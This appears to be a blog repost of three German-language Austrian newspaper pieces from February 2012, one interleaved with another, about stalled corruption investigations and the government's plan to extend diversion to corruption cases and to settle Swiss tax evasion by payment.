Villa For Forest

Marie schlägt Justitia

(DER STANDARD, Printausgabe, Hans Rauscher, 29.2.2012)

Eine (blau-schwarze) Verschwörungstheorie

Grasser/Buwog, Eurofighter, Innenministerium/Blaulichtfunk – warum geht nichts weiter?

Es stellen sich schon sehr viele Bürger die Frage, ob es an der Spitze der
Justiz nicht Kräfte gibt, die die Hauptverdächtigen in den schlimmsten aktuellen
Korruptionsfällen (Grasser/Buwog, Eurofighter, Innenministerium/Blaulichtfunk)
schützen.

Im Fall Grasser und Konsorten stellt sich schon lange die Frage, warum a) die
Untersuchungen so lange dauern und warum b) niemand in U-Haft genommen wurde.

Für a) gibt es plausible technische Gründe: Die Staatsanwaltschaft ist
überlastet; es dauert ewig, bis – gegen den Widerstand der Beschuldigten –
womöglich entscheidende Unterlagen aus den Steueroasen dieser Welt angeliefert
sind. Auch Ermittlungstaktisches spielt eine Rolle.

Auffällig ist aber einiges: Am Anfang der Buwog-Affäre schied plötzlich der
bearbeitende Staatsanwalt Norbert Haselhofer völlig überraschend aus dem
Justizdienst. Freunde sagen, er habe den Druck (der Ministerin Claudia
Bandion-Ortner?) nicht ausgehalten. Neue Staatsanwälte werkten aber zäh weiter.
Bandion-Ortner setzte dann Anfang April 2011 eine eigenartige Frist: Bis zum 1.
Juli müsse der Fall Grasser anklagereif oder eingestellt sein. Nur wenige Wochen
später war Bandion-Ortner selbst Geschichte. Der neue ÖVP-Chef Spindelegger
wollte sich ihre fahrige Amtsführung nicht mehr länger antun. Die neue
Justizministerin Beatrix Karl ließ diese Frist still sterben


(Kleine Zeitung, 28.2.2012)
In der Warteschleife der Justiz

Ob
Wahlbroschüre oder Connect – bei Kärntner Fällen, die der Korruption
verdächtig sind, tut sich nichts. Scheuch-Berufungsrichter auf Urlaub.

Foto © APA

Kärntens
Roten reicht es. Seit 2009 ist die Korruptionsstaatsanwaltschaft in
Wien wegen der Hochglanzbroschüre des Landes beschäftigt, die samt DVD
vier Tage vor der Landtagswahl an 200.000 Haushalte erging und 500.000
Euro gekostet haben soll. Für die politischen Mitbewerber war es eine
Wahlkampfbroschüre des BZÖ, heute FPK, auf Landeskosten. „Drei Jahre –
was dauert da so lange?“, hinterfragt SPÖ-Landesgeschäftsführer Daniel
Fellner. Auch in der Connect-Affäre gebe es noch keine Fortschritte.
Fellner sieht die zwei Fälle im Kreis von insgesamt zwölf. Gerhard
Dörfler, Uwe Scheuch und Harald Dobernig seien nur drei von insgesamt 20
Namen, die relevant seien, so Fellner. Er vernetzt sich jetzt zunehmend
mit Hannes Jarolim, dem SPÖ-Fraktionsführer im
Korruptions-Untersuchungsausschuss des Parlaments in Wien. „Er hat uns
um Detailinformationen aus Kärnten gebeten.“

Vorhabensberichte der Korruptionsstaatsanwaltschaft in Bezug auf die
Kärntner Fälle sollen seit Monaten im Justizministerium „verschimmeln“,
heißt es aus Justizkreisen. Mutmaßungen, das ÖVP-geführte Ministerium
halte – aus koalitionären Überlegungen mit FPÖ-Chef HC Strache –
schützend seine Hand über die FPK-Politiker, weist Ressortchefin Beatrix
Karl zurück. Ihr seien die Fälle gar nicht bekannt. Sie will sich jetzt
aber kundig machen.

Überhaupt nichts mehr zu tun habe das Ministerium mit dem
Scheuch-Urteil. „Das ist bei der unabhängigen Gerichtsbarkeit, und das
ist gut so“, sagte Karl zur Kleinen Zeitung. Zumindest bis 21.
März gibt es in der Causa keine Entscheidung – bis dahin ist der
Vorsitzende des Senats des Oberlandesgerichts Graz, der die Berufung
behandelt, auf Urlaub.


Im Februar hatte der zuständige Staatsanwalt Hans-Peter Kronawetter das
Verfahren gegen das FPÖ-Ehepaar Rumpold wegen des Eurofighter-Verfahrens
eingestellt. Ohne Konten zu öffnen. Hier übertrug Bandion-Ortner dem sogenannten
Rechtsschutzbeauftragten die Prüfung, ob die Einstellung zu Recht erfolgt war.
Im Fall der Rumpolds lautete ein paar Monate später das Ergebnis: Ja.
Inoffizielle Begründung: Der Verdacht der Parteifinanzierung stehe zwar
überdeutlich im Raum, aber man habe bezüglich einer konkreten Person oder
Personen, die das Geld übernommen hätten, keine Anhaltspunkte. Der grüne
Abgeordnete Peter Pilz warf daraufhin Staatsanwalt Kronawetter „Komplizenschaft
bei organisierter Korruption“ vor (womit wir uns nicht identifizieren).
Schließlich erhielt der Korruptions- U-Ausschuss aus dem Einzugsbereich von
Finanzministerin Fekter massiv geschwärzte Akten zum Thema des Lobbyisten
Mensdorff-Pouilly.

Justizministerin Beatrix Karl verblüffte nun die Öffentlichkeit mit einem
verstohlen eingebrachten Gesetzentwurf, wonach es künftig auch bei
Korruptionsfällen die Möglichkeit der Diversion (Tatausgleich) ohne Klärung des
Sachverhalts geben solle, was wütende Proteste unter anderem des Präsidenten des
Obersten Gerichtshofs und etlicher Strafrechtler auslöste. Inzwischen ruderte
sie zurück.

Diese Causen haben alle einen schwarzen bzw. schwarz-blauen Ursprung. Der
Verdacht liegt nahe, dass hier im Hintergrund an einer Behinderung der Justiz
gearbeitet wird (so wie vor 25 Jahren die SPÖ die Justiz im Skandalreigen
AKH/Noricum/Lucona behinderte). Zum Glück scheint es aber doch innerhalb der
Justiz motivierte Leute zu geben.


(DER STANDARD; Printausgabe,
28.2.2012)

Kommentar von Andreas Schnauder

Marie schlägt Justitia

Statt hart durchzugreifen, privilegiert die Regierung Korruption und Steuerflucht

Allein
schon die Verpackung spricht Bände: Wenn Justizministerin Karl einen
rechtspolitisch weitreichenden Entwurf unter dem Stichwort
Stabilitätsgesetz 2012 einbringt, lässt das erkennen, unter welchen
Gesichtspunkten Justizreformen angegangen werden. Die darin enthaltene
Ausweitung der Diversion, bei der anstelle eines Richterspruchs ein
„Vergleich“ zwischen Staatsanwalt und Beschuldigtem steht, ist freilich
nicht der einzige Punkt, bei dem die Regierung Geldbußen über Aufklärung
und mögliche Verurteilung stellt. Auch beim angestrebten Abkommen mit
der Schweiz werden Abschlagzahlungen angestrebt, ohne dass sich
Steuerhinterzieher vor einem Gericht verantworten müssten.

Beide Vorhaben zusammengenommen ergeben ein katastrophales Bild: Da
versinkt eine Republik im Korruptionssumpf, und anstatt ihn
trockenzulegen, wird er zum Naturreservat erhoben. Unter dem Deckmantel
der Verfahrensökonomie und der Erschließung neuer Einnahmen werden
Prinzipien des Gesellschaftspolitik über Bord geschmissen, zu denen der
Strafprozess und nicht zuletzt seine aufklärende Wirkung zählen.

Bei Reformen in die Gegenrichtung, nämlich strengeren Bestimmungen
gegen Korruption, wird der Bürger hingegen jahrelang gegängelt. Darüber
kann die Ankündigung einer härteren Vorgangsweise durch Ministerin Karl
nicht hinwegtäuschen. Fakten sind: Die Bestechung von Politikern wurde
unter dieser Regierung de facto straffrei gestellt; ein auftauchender
Skandal nach dem anderen war bisher kein ausreichender Beweggrund, um
die Parteienfinanzierung völlig transparent zu gestalten; und die
Fortschritte der Justiz in den großen Korruptionsfällen sind auch nicht
dazu angetan, dass man in Jubelstimmung verfällt.

Während Maßnahmen mit reinigender Wirkung seit Jahren unter dem
Kapitel Ankündigungspolitik zu finden sind, liegen dieses Ziel
konterkarierende Vorhaben bereits auf dem Tisch. Die Diversion wird auf
schwere Straftaten wie Amtsmissbrauch, Korruption und schwere Untreue
ausgedehnt. Dass die Möglichkeit des „Freikaufens“ gerade auf diese
Tatbestände erweitert werden soll, bei denen der Hund begraben liegt,
zeugt von null Gespür: Während fast täglich neue Skandale publik werden,
schafft die Ministerin ein Schlupfloch für Beschuldigte.
Selbst wenn
Karl dabei nicht auf die Hardcore-Fälle abgezielt haben mag, erfasst
sind sie vom Entwurf allemal. Hinzu kommt, dass für die Diversion
künftig nicht einmal die Klärung des Tatverdachts Voraussetzung sein
soll. Staatsanwälte könnten sich so komplexer Causen der
Wirtschaftskriminalität billig entledigen. Das geflügelte Wort von der
blinden Justitia erhält damit eine völlig andere Bedeutung, wenn rasche
Erledigung gegen Geldbuße einer fundierten Aufarbeitung von Verbrechen
vorgezogen wird.

Sehr ähnlich sind die Folgen beim anders gelagerten Fall der
Behandlung von Steuerflüchtlingen. Mit einer Abschlagszahlung sollen
sich jene freikaufen, die ihr Geld in der Schweiz gebunkert haben.
Gegenüber dem heimischen Fiskus dürfen die Konten weiterhin im
Verborgenen bleiben, die Herkunft der Schwarzgelder geht niemanden etwas
an. Auch hier gilt: Marie schlägt Justitia.

Und wie im Fall der Diversion kann man sich des Eindrucks nicht
verwehren, dass ausgerechnet die problematischen Steuer-, Vermögens- und
Korruptionsdelikte privilegiert werden.


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